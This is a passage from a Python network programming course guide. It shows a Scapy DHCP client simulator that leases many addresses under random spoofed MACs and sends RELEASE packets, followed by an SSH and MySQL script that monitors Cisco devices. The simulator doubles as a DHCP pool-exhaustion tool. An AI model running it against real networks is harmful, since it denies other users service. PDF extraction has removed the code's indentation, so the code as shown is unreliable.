DHCP REQUEST:
'Ether(src=\'08:00:27:f9:51:87\', dst=\'ff:ff:ff:ff:ff:ff\',
type=2048)/IP(frag=0L, src=\'0.0.0.0\', proto=17, tos=16,
dst=\'255.255.255.255\', chksum=14742, len=328, options=[], version=4L,
flags=0L, ihl=5L, ttl=128, id=0)/UDP(dport=67, sport=68, len=308,
chksum=61228)/BOOTP(hlen=6,
sname=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00

Page 29 of 185
30 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\', xid=398202904, ciaddr=\'0.0.0.0\',
hops=0, giaddr=\'0.0.0.0\',
chaddr="\\x08\\x00\'\\xf9Q\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00", yiaddr=\'0.0.0.0\', secs=0, flags=0L, htype=1,
file=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\',
siaddr=\'0.0.0.0\', options=\'c\\x82Sc\', op=1)/DHCP(options=[(\'message-
type\', 3), (\'server_id\', \'192.168.2.111\'), (\'requested_addr\',
\'192.168.2.1\'), (\'hostname\', \'kali-teo\'), (\'param_req_list\',
\'\\x01\\x1c\\x02\\x03\\x0f\\x06w\\x0c,/\\x1ay*\'), \'end\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\'])'

DHCP ACK:
'Ether(src=\'c0:04:1a:5c:00:01\', dst=\'08:00:27:f9:51:87\',
type=2048)/IP(frag=0L, src=\'192.168.2.111\', proto=17, tos=0,
dst=\'192.168.2.1\', chksum=13539, len=328, options=[], version=4L,
flags=0L, ihl=5L, ttl=255, id=1)/UDP(dport=68, sport=67, len=308,
chksum=18582)/BOOTP(hlen=6,
sname=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\', xid=398202904, ciaddr=\'0.0.0.0\',
hops=0, giaddr=\'0.0.0.0\',
chaddr="\\x08\\x00\'\\xf9Q\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00", yiaddr=\'192.168.2.1\', secs=0, flags=0L, htype=1,
file=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0
0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x
00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\
\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\',
siaddr=\'0.0.0.0\', options=\'c\\x82Sc\', op=2)/DHCP(options=[(\'message-
type\', 5), (\'server_id\', \'192.168.2.111\'), (\'lease_time\', 86400),
(\'renewal_time\', 43200), (\'rebinding_time\', 75600), (\'subnet_mask\',
\'255.255.255.0\'), \'end\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\',
\'pad\', \'pad\', \'pad\', \'pad\', \'pad\'])'
'''

Page 30 of 185
31 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

import subprocess
import logging
import random
import sys

#This will suppress all messages that have a lower level of seriousness
than error messages, while running or loading Scapy
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#To see a list of what commands Scapy has available, run the lsc()
function.
#Run the ls() command to see ALL the supported protocols.
#Run the ls(protocol) command to see the fields and default values for any
protocol.
#See packet layers with the .summary() function.
#See packet contents with the .show() function.
#Dig into a specific packet layer using a list index:
pkts[3][2].summary()...
#...the first index chooses the packet out of the pkts list, the second
index chooses the layer for that specific packet.
#Using the .command() packet method will return a string of the command
necessary to recreate that sniffed packet.

print "\n! Make sure to run this program as ROOT !\n"

#Setting network interface in promiscuous mode


net_iface = raw_input("Enter the interface to the target network: ")

subprocess.call(["ifconfig", net_iface, "promisc"], stdout=None,


stderr=None, shell=False)

print "\nInterface %s was set to PROMISC mode." % net_iface

Page 31 of 185
32 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Scapy normally makes sure that replies come from the same IP address the
stimulus was sent to.
#But our DHCP packet is sent to the IP broadcast address (255.255.255.255)
and any answer packet will have the IP address of the replying DHCP server
as its source IP address (e.g. 192.168.2.101).
#Because these IP addresses don't match, we have to disable Scapy's check
with conf.checkIPaddr = False before sending the stimulus.
#Source:
https://bitbucket.org/pbi/test/wiki/doc/IdentifyingRogueDHCPServers
conf.checkIPaddr = False

############# Application #3 - Part #2 #############

################## DHCP SEQUENCE #################


all_given_leases = []
server_id = []
client_mac = []

#Generate entire DHCP sequence


def generate_dhcp_seq():
global all_given_leases

#Defining some DHCP parameters


x_id = random.randrange(1, 1000000)
hw = "00:00:5e" + str(RandMAC())[8:]
hw_str = mac2str(hw)
#print hw

#Assigning the .command() output of a captured DHCP DISCOVER packet to


a variable
dhcp_dis_pkt = Ether(dst="ff:ff:ff:ff:ff:ff",
src=hw)/IP(src="0.0.0.0",dst="255.255.255.255") /
UDP(sport=68,dport=67)/BOOTP(op=1, xid=x_id,
chaddr=hw_str)/DHCP(options=[("message-type","discover"),("end")])

#Sending the DISCOVER packet and catching the OFFER reply


#Generates two lists (answ and unansw). answd is a list containg a
tuple: the first element is the DISCOVER packet, the second is the OFFER
packet
answd, unanswd = srp(dhcp_dis_pkt, iface=pkt_inf, timeout = 2.5,
verbose=0)

#print answd
#print unanswd
#print answd.summary()
#print unanswd.summary()
#print answd[0][1][BOOTP].yiaddr

#The IP offered by the DHCP server to the client is extracted from the
received answer
offered_ip = answd[0][1][BOOTP].yiaddr
#print offered_ip

Page 32 of 185
33 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Assigning the .command() output of a captured DHCP REQUEST packet to


a variable
dhcp_req_pkt = Ether(dst="ff:ff:ff:ff:ff:ff",
src=hw)/IP(src="0.0.0.0",dst="255.255.255.255") /
UDP(sport=68,dport=67)/BOOTP(op=1, xid=x_id,
chaddr=hw_str)/DHCP(options=[("message-type","request"),("requested_addr",
offered_ip),("end")])

#Sending the REQUEST for the offered IP address


#Capturing the ACK from the server
answr, unanswr = srp(dhcp_req_pkt, iface=pkt_inf, timeout = 2.5,
verbose=0)

#print answr
#print unanswr
#print answr[0][1][IP].src
#print answr[0][1][BOOTP].yiaddr

#The IP offered by the DHCP server to the client is extracted from the
received answer
offered_ip_ack = answr[0][1][BOOTP].yiaddr

#DHCP Server IP/ID


server_ip = answr[0][1][IP].src
#print server_ip

#Adding each leased IP to the list of leases


all_given_leases.append(offered_ip_ack)

#Adding the server IP to a list


server_id.append(server_ip)

client_mac.append(hw)

return all_given_leases, server_id, client_mac

############# Application #3 - Part #3 #############

################## DHCP RELEASE #################


def generate_dhcp_release(ip, hw, server):

#Defining DHCP Transaction ID


x_id = random.randrange(1, 1000000)
hw_str = mac2str(hw)

#Creating the RELEASE packet


dhcp_rls_pkt = IP(src=ip,dst=server) /
UDP(sport=68,dport=67)/BOOTP(chaddr=hw_str, ciaddr=ip,
xid=x_id)/DHCP(options=[("message-type","release"),("server_id",
server),("end")])

Page 33 of 185
34 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Sending the RELEASE packet


send(dhcp_rls_pkt, verbose=0)

############# Application #3 - Part #4 #############

################## USER MENU #################


try:
#Enter option for the first screen
while True:
print "\nUse this tool to:\ns - Simulate DHCP Clients\nr -
Simulate DHCP Release\ne - Exit program\n"

user_option_sim = raw_input("Enter your choice: ")

if user_option_sim == "s":
print "\nObtained leases will be exported to
'DHCP_Leases.txt'!"

pkt_no = raw_input("\nNumber of DHCP clients to simulate: ")

pkt_inf = raw_input("Interface on which to send packets: ")

print "\nWaiting for clients to obtain IP addresses...\n"

try:
#Calling the function for the required number of times
(pkt_no)
for iterate in range(0, int(pkt_no)):
all_leased_ips = generate_dhcp_seq()[0]

#print all_leased_ips

except IndexError:
print "No DHCP Server detected or connection is broken."
print "Check your network settings and try again.\n"
sys.exit()

#List of all leased IPs


dhcp_leases = open("DHCP_Leases.txt", "w")

#print all_leased_ips
#print server_id
#print client_mac

#Print each leased IP to the file


for index, each_ip in enumerate(all_leased_ips):

print >>dhcp_leases, each_ip + "," + server_id[index] +


"," + client_mac[index]

dhcp_leases.close()

Page 34 of 185
35 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

continue

elif user_option_sim == "r":


while True:
print "\ns - Release a single address\na - Release all
addresses\ne - Exit to the previous screen\n"

user_option_release = raw_input("Enter your choice: ")

if user_option_release == "s":
print "\n"

user_option_address = raw_input("Enter IP address to


release: ")

#print all_leased_ips
#print server_id
#print client_mac

try:
#Check if required IP is in the list and run the
release function for it
if user_option_address in all_leased_ips:
index =
all_leased_ips.index(user_option_address)

generate_dhcp_release(user_option_address,
client_mac[index], server_id[index])

print "\nSending RELEASE packet...\n"

else:
print "IP Address not in list.\n"
continue

except (NameError, IndexError):


print "\nSimulating DHCP RELEASES cannot be done
separately, without prior DHCP Client simulation."
print "Restart the program and simulate DHCP
Clients and RELEASES in the same program session.\n"
sys.exit()

elif user_option_release == "a":

#print all_leased_ips
#print server_id
#print client_mac

try:
#Check if required IP is in the list and run the
release function for it
for user_option_address in all_leased_ips:

Page 35 of 185
36 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

index =
all_leased_ips.index(user_option_address)

generate_dhcp_release(user_option_address,
client_mac[index], server_id[index])

except (NameError, IndexError):


print "\nSimulating DHCP RELEASES cannot be done
separately, without prior DHCP Client simulation."
print "Restart the program and simulate DHCP
Clients and RELEASES in the same program session.\n"
sys.exit()

print "\nThe RELEASE packets have been sent.\n"

#Erasing all leases from the file


open("DHCP_Leases.txt", "w").close()

print "File 'DHCP_Leases.txt' has been cleared."

continue

else:
break

else:
print "Exiting... See ya...\n\n"
sys.exit()

except KeyboardInterrupt:
print "\n\nProgram aborted by user. Exiting...\n"
sys.exit()

#End of program

Page 36 of 185
37 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

2.7. Application #4 - Network parameters extraction


(full code, reference: Section 16. Application #4 - Network parameters extraction)

Logical flow diagram

Page 37 of 185
38 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

############# Application #4 - Part #1 #############

#Configure the permissions on the script first! 'chmod 755 script.py"

#Make sure to have SSHv2 enabled and RSA 1024 bit key generated on every
device!

import MySQLdb as mdb


import paramiko
import threading
import os.path
import subprocess
import datetime
import time
import sys
import re

#Module for output coloring


from colorama import init, deinit, Fore, Style

# Procedure for configuring Linux scheduler:


# root@kali:/# crontab -l view scheduled tasks
# root@kali:/# crontab -e edit scheduler
# Add the following line to run the script every 5 minutes, every hour,
every day, every month:
# */5 * * * * /path_to_file/NetMon_SQL_v1.py /path_to_file/NETWORK_IP
/path_to_file/SSH_USERPASS.txt /path_to_file/SQL_CONN.txt
# For more info about configuring scheduler:
http://kvz.io/blog/2007/07/29/schedule-tasks-on-linux-using-crontab/
# Before scheduling this task, run the script in the console to check for
errors:
# Go to the folder containing the script and all files, using cd
/netmon_folder_path
# Enter this command: python NetMon_SQL_v1.py NETWORK_IP.txt
SSH_USERPASS.txt SQL_CONN.txt
# Check the console output and SQL_Error_Log.txt file for any errors.
# Running the script is recommended at intervals of at least 5 minutes.

#Initialize colorama
init()

#Checking number of arguments passed into the script


if len(sys.argv) == 4:
ip_file = sys.argv[1]
user_file = sys.argv[2]
sql_file = sys.argv[3]

print Fore.BLUE + Style.BRIGHT + "\n\n* The script will be executed


using files:\n"
print Fore.BLUE + "Cisco network IP file is: " + Fore.YELLOW + "%s" %
ip_file

Page 38 of 185
39 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print Fore.BLUE + "SSHv2 connection file is: " + Fore.YELLOW + "%s" %


user_file
print Fore.BLUE + "MySQL connection file is: " + Fore.YELLOW + "%s" %
sql_file
print Fore.BLUE + Style.BRIGHT + "\n"

else:
print Fore.RED + Style.BRIGHT + "\nIncorrect number of arguments
(files) passed into the script."
print Fore.RED + "Please try again.\n"
sys.exit()

#Checking IP address file and content validity


def ip_is_valid():
check = False
global ip_list

while True:
#Changing exception message
try:
#Open user selected file for reading (IP addresses file)
selected_ip_file = open(ip_file, 'r')

#Starting from the beginning of the file


selected_ip_file.seek(0)

#Reading each line (IP address) in the file


ip_list = selected_ip_file.readlines()

#Closing the file


selected_ip_file.close()

except IOError:
print Fore.RED + "\n* File %s does not exist! Please check and
try again!\n" % ip_file
sys.exit()

#Checking octets
for ip in ip_list:
a = ip.split('.')

if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) !=


127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255
and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255):
check = True
break

else:
print '\n* There was an INVALID IP address! Please check
and try again!\n'
check = False
continue

Page 39 of 185
40 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Evaluating the 'check' flag


if check == False:
sys.exit()

elif check == True:


break

#Checking IP reachability
print "* Checking IP reachability... Please wait...\n"

check2 = False

while True:
for ip in ip_list:
ping_reply = subprocess.call(['ping', '-c', '3', '-w', '3', '-
q', '-n', ip], stdout = subprocess.PIPE)

if ping_reply == 0:
check2 = True
continue

elif ping_reply == 2:
print Fore.RED + "\n* No response from device %s." % ip
check2 = False
break

else:
print Fore.RED + "\n* Ping to the following device has
FAILED:", ip
check2 = False
break

#Evaluating the 'check' flag


if check2 == False:
print Fore.RED + "* Please re-check IP address list or
device.\n"
sys.exit()

elif check2 == True:


print '\n* All devices are reachable. Checking SSHv2
connection file...\n'
break

#Checking user file validity


def user_is_valid():
global user_file

while True:
#Changing output messages
if os.path.isfile(user_file) == True:
print "\n* SSHv2 connection file has been validated. Checking
MySQL connection file...\n"
break

Page 40 of 185
41 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

else:
print Fore.RED + "\n* File %s does not exist! Please check and
try again!\n" % user_file
sys.exit()

#Checking SQL connection command file validity


def sql_is_valid():
global sql_file

while True:
#Changing output messages
if os.path.isfile(sql_file) == True:
print "\n* MySQL connection file has been validated...\n"
print "\n* Any MySQL errors will be logged to: " + Fore.YELLOW
+ "SQL_Error_Log.txt\n" + Fore.BLUE
print "\n* Reading network data and writing to MySQL...\n"
break

else:
print Fore.RED + "\n* File %s does not exist! Please check and
try again!\n" % sql_file
sys.exit()

#Change exception message


try:
#Calling IP validity function
ip_is_valid()

except KeyboardInterrupt:
print Fore.RED + "\n\n* Program aborted by user. Exiting...\n"
sys.exit()

#Change exception message


try:
#Calling user file validity function
user_is_valid()

except KeyboardInterrupt:
print Fore.RED + "\n\n* Program aborted by user. Exiting...\n"
sys.exit()

#Change exception message


try:
#Calling MySQL file validity function
sql_is_valid()

except KeyboardInterrupt:
print Fore.RED + "\n\n* Program aborted by user. Exiting...\n"
sys.exit()

############# Application #4 - Part #2 #############

check_sql = True
def sql_connection(command, values):

Page 41 of 185
42 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

global check_sql

#Define SQL connection parameters


selected_sql_file = open(sql_file, 'r')

#Starting from the beginning of the file


selected_sql_file.seek(0)

sql_host = selected_sql_file.readlines()[0].split(',')[0]

#Starting from the beginning of the file


selected_sql_file.seek(0)

sql_username = selected_sql_file.readlines()[0].split(',')[1]

#Starting from the beginning of the file


selected_sql_file.seek(0)

sql_password = selected_sql_file.readlines()[0].split(',')[2]

#Starting from the beginning of the file


selected_sql_file.seek(0)

sql_database =
selected_sql_file.readlines()[0].split(',')[3].rstrip("\n")

#Connecting and writing to database


try:
sql_conn = mdb.connect(sql_host, sql_username, sql_password,
sql_database)

cursor = sql_conn.cursor()

cursor.execute("USE NetMon")

cursor.execute(command, values)

#Commit changes
sql_conn.commit()

except mdb.Error, e:
sql_log_file = open("SQL_Error_Log.txt", "a")

#Print any SQL errors to the error log file


print >>sql_log_file, str(datetime.datetime.now()) + ": Error %d:
%s" % (e.args[0],e.args[1])

#Closing sql log file:


sql_log_file.close()

#Setting check_sql flag to False if any sql error occurs


check_sql = False

#Closing the sql file

Page 42 of 185
43 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

selected_sql_file.close()

#Initialize the necessary lists and dictionaries


cpu_values = []
io_mem_values = []
proc_mem_values = []
upint_values = []

top3_cpu = {}
top3_io_mem = {}
top3_proc_mem = {}
top3_upint = {}

#Open SSHv2 connection to devices


def open_ssh_conn(ip):
global check_sql

#Change exception message


try:
#Define SSH parameters
selected_user_file = open(user_file, 'r')

#Starting from the beginning of the file


selected_user_file.seek(0)

#Reading the username from the file


username = selected_user_file.readlines()[0].split(',')[0]

#Starting from the beginning of the file


selected_user_file.seek(0)

#Reading the password from the file


password =
selected_user_file.readlines()[0].split(',')[1].rstrip("\n")

#Logging into device


session = paramiko.SSHClient()

#For testing purposes, this allows auto-accepting unknown host


keys
#Do not use in production! The default would be RejectPolicy
session.set_missing_host_key_policy(paramiko.AutoAddPolicy())

#Connect to the device using username and password


session.connect(ip, username = username, password = password)

#Start an interactive shell session on the router


connection = session.invoke_shell()

#Setting terminal length for entire output - disable pagination


connection.send("terminal length 0\n")
time.sleep(1)

Page 43 of 185
44 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Entering global config mode


#connection.send("\n")
#connection.send("configure terminal\n")
#time.sleep(1)

#Reading commands from within the script


#Using the "\" line continuation character for better readability
of the commands to be sent
selected_cisco_commands = '''show version | include (,
Version|uptime is|bytes of memory|Hz)&\
show inventory&\
show interfaces | include bia&\
show processes cpu | include CPU
utilization&\
show memory statistics&\
show ip int brief | include
(Ethernet|Serial)&\
show cdp neighbors detail | include
Device ID&\
show ip protocols | include Routing
Protocol'''

#Splitting commands by the "&" character


command_list = selected_cisco_commands.split("&")

#Writing each line in the command string to the device


for each_line in command_list:
connection.send(each_line + '\n')
time.sleep(3)

#Closing the user file


selected_user_file.close()

#Checking command output for IOS syntax errors


output = connection.recv(65535)

if re.search(r"% Invalid input detected at", output):


print Fore.RED + "* There was at least one IOS syntax error on
device %s" % ip

else:
print Fore.GREEN + "* All parameters were extracted from
device %s" % ip,

#Test for reading command output


#print output + "\n"

############# Application #4 - Part #3 #############

#Extracting device parameters


#...starting with the ones destined to the NetworkDevices table in
MySQL

dev_hostname = re.search(r"(.+) uptime is", output)

Page 44 of 185
45 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

hostname = dev_hostname.group(1)
#print hostname

dev_mac = re.findall(r"\(bia (.+?)\)", output)


#print dev_mac
mac = dev_mac[0]
#print mac

dev_vendor = re.search(r"(.+?) (.+) bytes of memory", output)


vendor = dev_vendor.group(1)
#print vendor

dev_model = re.search(r"(.+?) (.+?) (.+) bytes of memory", output)


model = dev_model.group(2)
#print model

dev_image_name = re.search(r" \((.+)\), Version", output)


image_name = dev_image_name.group(1)
#print image_name

dev_os = re.search(r"\), Version (.+),", output)


os = dev_os.group(1)
#print os

serial_no = ""
if len(re.findall(r"(.+), SN: (.+?)\r\n", output)) == 0:
serial_no = "unknown"
else:
serial_no = re.findall(r"(.+), SN: (.+?)\r\n",
output)[0][1].strip()
#print serial_no

dev_uptime = re.search(r" uptime is (.+)\n", output)


uptime = dev_uptime.group(1)
uptime_value_list = uptime.split(', ')

#Getting the device uptime in seconds


y_sec = 0
w_sec = 0
d_sec = 0
h_sec = 0
m_sec = 0

for j in uptime_value_list:

if 'year' in j:
y_sec = int(j.split(' ')[0]) * 31449600

elif 'week' in j:
w_sec = int(j.split(' ')[0]) * 604800

elif 'day' in j:
d_sec = int(j.split(' ')[0]) * 86400

Page 45 of 185
46 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

elif 'hour' in j:
h_sec = int(j.split(' ')[0]) * 3600

elif 'minute' in j:
m_sec = int(j.split(' ')[0]) * 60

total_uptime_sec = y_sec + w_sec + d_sec + h_sec + m_sec


#print total_uptime_sec

cpu_model = ""
if re.search(r".isco (.+?) \((.+)\) processor(.+)\n", output) ==
None:
cpu_model = "unknown"
else:
cpu_model = re.search(r".isco (.+?) \((.+)\) processor(.+)\n",
output).group(2)
#print cpu_model

cpu_speed = ""
if re.search(r"(.+?)at (.+?)MHz(.+)\n", output) == None:
cpu_speed = "unknown"
else:
cpu_speed = re.search(r"(.+?)at (.+?)MHz(.+)\n",
output).group(2)
#print cpu_speed

serial_int = ""
if re.findall(r"Serial([0-9]*)/([0-9]*) (.+)\n", output) == None:
serial_int = "no serial"
else:
serial_int = len(re.findall(r"Serial([0-9]*)/([0-9]*) (.+)\n",
output))
#print serial_int

dev_cdp_neighbors = re.findall(r"Device ID: (.+)\r\n", output)


all_cdp_neighbors = ','.join(dev_cdp_neighbors)
#print all_cdp_neighbors

dev_routing_pro = re.findall(r"Routing Protocol is \"(.+)\"\r\n",


output)
#print dev_routing_pro
is_internal = []
is_external = []
for protocol in dev_routing_pro:
if 'bgp' in protocol:
is_external.append(protocol)
else:
is_internal.append(protocol)

internal_pro = ','.join(is_internal)
external_pro = ','.join(is_external)

#print internal_pro
#print external_pro

Page 46 of 185
47 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

############# Application #4 - Part #4 #############

### CPU ###

dev_cpu_util_per5min = re.search(r"CPU utilization for five


seconds: (.+) five minutes: (.+?)%", output)
cpu_util_per5min = dev_cpu_util_per5min.group(2)
#print cpu_util_per5min

#Append CPU value for each device to the cpu_values list


cpu_values.append(int(cpu_util_per5min))

#Get top 3 CPU devices


top3_cpu[hostname] = cpu_util_per5min

### Processor Memory ###

dev_used_proc_mem = re.search(r"Processor(.+)\n ", output)


dev_used_proc_mem = dev_used_proc_mem.group(1)
#print dev_used_proc_mem

total_proc_mem = dev_used_proc_mem.split(' ')[2].strip()


used_proc_mem = dev_used_proc_mem.split(' ')[3].strip()
#print total_proc_mem
#print used_proc_mem

#Get percentage of used proc mem


proc_mem_percent = format(int(used_proc_mem) * 100 /
float(total_proc_mem), ".2f")
#print proc_mem_percent

#Append used proc memory values for each device to the mem_values
list
proc_mem_values.append(float(proc_mem_percent))

#Get top 3 proc memory devices


top3_proc_mem[hostname] = proc_mem_percent

### I/O Memory ###

dev_used_io_mem = re.search(r" I/O(.+)\n", output)


dev_used_io_mem = dev_used_io_mem.group(1)
#print dev_used_io_mem

total_io_mem = dev_used_io_mem.split(' ')[2].strip()


used_io_mem = dev_used_io_mem.split(' ')[3].strip()
#print total_io_mem
#print used_io_mem

#Get percentage of used proc mem


io_mem_percent = format(int(used_io_mem) * 100 /
float(total_io_mem), ".2f")
#print io_mem_percent

Page 47 of 185
48 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Append used I/O memory values for each device to the mem_values
list
io_mem_values.append(float(io_mem_percent))

#Get top 3 I/O memory devices


top3_io_mem[hostname] = io_mem_percent

### UP Interfaces ###

dev_total_int = re.findall(r"([A-Za-z]*)Ethernet([0-
9]*)(.+)YES(.+)\n", output)
total_int = len(dev_total_int)
#print total_int

dev_total_up_int = re.findall(r"(.+)Ethernet([0-9]*)/([0-
9]*)[\s]*(.+)up[\s]*up", output)
total_up_int = len(dev_total_up_int)
#print total_up_int

#Get percentage of Eth UP interfaces out of the total number of


Eth interfaces
intf_percent = format(total_up_int * 100 / float(total_int),
".2f")
#print intf_percent

#Append percentage of UP interfaces for each device to the


upint_values list
upint_values.append(float(intf_percent))

#Get top 3 UP Eth interfaces density devices


top3_upint[hostname] = intf_percent

#Insert/Update if exists all network devices data into the MySQL


database table NetworkDevices. Calling sql_connection function
sql_connection("REPLACE INTO
NetworkDevices(Hostname,MACAddr,Vendor,Model,Image,IOSVersion,SerialNo,Upt
ime,CPUModel,CPUSpeed,SerialIntfNo,CiscoNeighbors,IntRoutingPro,ExtRouting
Pro) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)",
(hostname, mac, vendor, model, image_name, os, serial_no,
total_uptime_sec, cpu_model, cpu_speed, serial_int, all_cdp_neighbors,
internal_pro, external_pro))

#Closing the SSH connection


session.close()

except paramiko.AuthenticationException:
print Fore.RED + "* Invalid SSH username or password. \n* Please
check the username/password file or the device configuration!\n"
check_sql = False

#Creating threads
def create_threads():
threads = []

Page 48 of 185
49 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

for ip in ip_list:
th = threading.Thread(target = open_ssh_conn, args = (ip,))
#args is a tuple with a single element
th.start()
threads.append(th)

for th in threads:
th.join()

#Calling threads creation function


create_threads()

############# Application #4 - Part #5 #############

#Poll date and time are based on the system clock

poll_timestamp = datetime.datetime.now()
#print poll_timestamp

###Testing code###
#print cpu_values
#print proc_mem_values
#print io_mem_values
#print upint_values

#print top3_cpu
#print top3_proc_mem
#print top3_io_mem
#print top3_upint
###

#Defining a function to get top 3 devices in CPU/mem/intf usage


def top3(each_dict):
global top3_list
top3 = []

for host, usage in sorted(each_dict.items(), key = lambda x: x[1],


reverse = True)[:3]:
top3.append(host)
top3_list = ",".join(top3)
#print top3_list

#CPU average function


def cpu_average():
try:
cpu = sum(cpu_values) / float(len(cpu_values))

#Calling the top3 function for the CPU dictionary


top3(top3_cpu)

#Write values to the MySQL database CPUUtilization table


sql_connection("INSERT INTO
CPUUtilization(NetworkCPUUtilizationPercent,Top3CPUDevices,PollTimestamp)
VALUES(%s, %s, %s)", (cpu, top3_list, poll_timestamp))

Page 49 of 185
50 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

except ZeroDivisionError:
print "* There was an error while computing a network parameter.
No record has been added to MySQL. Please retry."

cpu_average()

#Used proc memory average function


def mem_proc_average():
try:
mem_proc = sum(proc_mem_values) / float(len(proc_mem_values))

#Calling the top3 function for the mem proc dictionary


top3(top3_proc_mem)

#Write values to the MySQL database ProcMemUtilization table


sql_connection("INSERT INTO
ProcMemUtilization(NetworkProcMemUtilizationPercent,Top3ProcMemDevices,Pol
lTimestamp) VALUES(%s, %s, %s)", (mem_proc, top3_list, poll_timestamp))

except ZeroDivisionError:
print "* There was an error while computing a network parameter.
No record has been added to MySQL. Please retry."

mem_proc_average()

#Used I/O memory average function


def mem_io_average():
try:
mem_io = sum(io_mem_values) / float(len(io_mem_values))

#Calling the top3 function for the mem I/O dictionary


top3(top3_io_mem)

#Write values to the MySQL database IOMemUtilization table


sql_connection("INSERT INTO
IOMemUtilization(NetworkIOMemUtilizationPercent,Top3IOMemDevices,PollTimes
tamp) VALUES(%s, %s, %s)", (mem_io, top3_list, poll_timestamp))

except ZeroDivisionError:
print "* There was an error while computing a network parameter.
No record has been added to MySQL. Please retry."

mem_io_average()

#Total UP Eth interfaces function


def upint_total():
try:
upint = sum(upint_values) / float(len(upint_values))

#Calling the top3 function for the UP intf dictionary


top3(top3_upint)

